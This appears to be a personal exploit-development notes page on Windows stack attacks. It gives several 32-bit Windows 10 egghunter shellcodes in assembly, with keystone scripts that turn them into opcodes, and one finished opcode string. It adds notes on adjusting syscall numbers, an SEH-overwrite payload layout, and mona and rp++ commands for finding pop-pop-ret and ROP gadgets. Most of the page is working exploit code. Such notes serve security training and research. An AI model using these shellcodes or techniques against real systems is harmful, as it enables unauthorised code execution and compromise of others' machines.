Notes
Search
K

Windows Stack

Egg Hunter

Windows 10 Egghunter (w00tw00t, 32-Bit)

from keystone import *
CODE = (
" "
" loop_inc_page: "
" or dx, 0x0fff ;"
" loop_inc_one: "
" inc edx ;"
" loop_check: "
" push edx ;"
" mov eax, 0xfffffe3a ;"
" neg eax; "
" int 0x2e ;"
" cmp al,05 ;"
" pop edx ;"
" loop_check_valid: "
" je loop_inc_page ;"
" is_egg: "
" mov eax, 0x74303077 ;"
" mov edi, edx ;"
" scasd ;"
" jnz loop_inc_one ;"
" scasd ;"
" jnz loop_inc_one ;"
" matched: "
" jmp edi ;"
)
ks = Ks(KS_ARCH_X86, KS_MODE_32)
encoding, count = ks.asm(CODE)
instructions = ""
for dec in encoding:
instructions += "\\x{0:02x}".format(int(dec)).rstrip("\n")
print("Opcodes = (\"" + instructions + "\")")
You might have to modify the syscall number (above 0x1C6, in negated form). Print from windbg with u ntdll!NtAccessCheckAndAuditAlarm. E.g. on Win 10 Pro it was 0x29 for me. Then calculated negated form (here as example for 0x29):
>>> i = 0 - 0x29
>>> hex (i & ((1 << 32) - 1))
'0xffffffd7'
Mona can generate one aswell:
0:004> .load pykd.pyd
0:004> !py mona egg -wow64 -winver 10
...
This one is kind of reliable as well (32 bit process on 64 bit system):
from keystone import *
CODE = (
"mov ebx,cs;"
"cmp bl,0x23;"
"xor edx,edx;"
"or dx,0xfff;"
"xor ebx,ebx;"
"inc edx;"
"push edx;"
"push ebx;"
"push ebx;"
"push ebx;"
"push 0x29;"
"pop eax;"
"mov bl,0xc0;"
"call DWORD PTR fs:[ebx];"
"add esp,0xc;"
"pop edx;"
"cmp al,0x5;"
"je 0x7;"
"mov eax,0x74303077;"
"mov edi,edx;"
"scas eax,DWORD PTR es:[edi];"
"jne 0xe;"
"scas eax,DWORD PTR es:[edi];"
"jne 0xe;"
"jmp edi;"
)
ks = Ks(KS_ARCH_X86, KS_MODE_32)
encoding, count = ks.asm(CODE)
instructions = ""
for dec in encoding:
instructions += "\\x{0:02x}".format(int(dec)).rstrip("\n")
print("Opcodes = (\"" + instructions + "\")")
When debugging, this one will hit breakpoints all the time. This is normal and does not mean it does not work (see https://www.corelan.be/index.php/2019/04/23/windows-10-egghunter/).

Windows 10 Egghunter (w00tw00t, custom SEH handler, 32-Bit)

from keystone import *
CODE = (
" start: "
" jmp get_seh_address ;"
" build_exception_record: "
" pop ecx ;"
" mov eax, 0x74303077 ;"
" push ecx ;"
" push 0xffffffff ;"
" xor ebx, ebx ;"
" mov dword ptr fs:[ebx], esp ;"
" sub ecx, 0x04 ;"
" add ebx, 0x04 ;"
" mov dword ptr fs:[ebx], ecx ;"
" is_egg: "
" push 0x02 ;"
" pop ecx ;"
" mov edi, ebx ;"
" repe scasd ;"
" jnz loop_inc_one ;"
" jmp edi ;"
" loop_inc_page: "
" or bx, 0xfff ;"
" loop_inc_one: "
" inc ebx ;"
" jmp is_egg ;"
" get_seh_address: "
" call build_exception_record ;"
" push 0x0c ;"
" pop ecx ;"
" mov eax, [esp+ecx] ;"
" mov cl, 0xb8 ;"
" add dword ptr ds:[eax+ecx], 0x06 ;"
" pop eax ;"
" add esp, 0x10 ;"
" push eax ;"
" xor eax, eax ;"
" ret ;"
)
ks = Ks(KS_ARCH_X86, KS_MODE_32)
encoding, count = ks.asm(CODE)
instructions = ""
for dec in encoding:
instructions += "\\x{0:02x}".format(int(dec)).rstrip("\n")
print("Opcodes = (\"" + instructions + "\")")
\xeb\x2a\x59\xb8\x77\x30\x30\x74\x51\x6a\xff\x31\xdb\x64\x89\x23\x83\xe9\x04\x83\xc3\x04\x64\x89\x0b\x6a\x02\x59\x89\xdf\xf3\xaf\x75\x07\xff\xe7\x66\x81\xcb\xff\x0f\x43\xeb\xed\xe8\xd1\xff\xff\xff\x6a\x0c\x59\x8b\x04\x0c\xb1\xb8\x83\x04\x08\x06\x58\x83\xc4\x10\x50\x31\xc0\xc3

SEH Overwrite

Overwrite with POP POP RET followed by EB <distance> 90 90 at the target to jump past the exception handler struct in memory e.g.:
<padding><jmp(nseh)><poppopret(seh)><payload>

Find Pop Pop Ret

!py mona seh

Resources

ROP

Find Gadgets with rp++: https://github.com/0vercl0k/rp
rp-win-x86.exe -f <file> -r 5 > rop.txt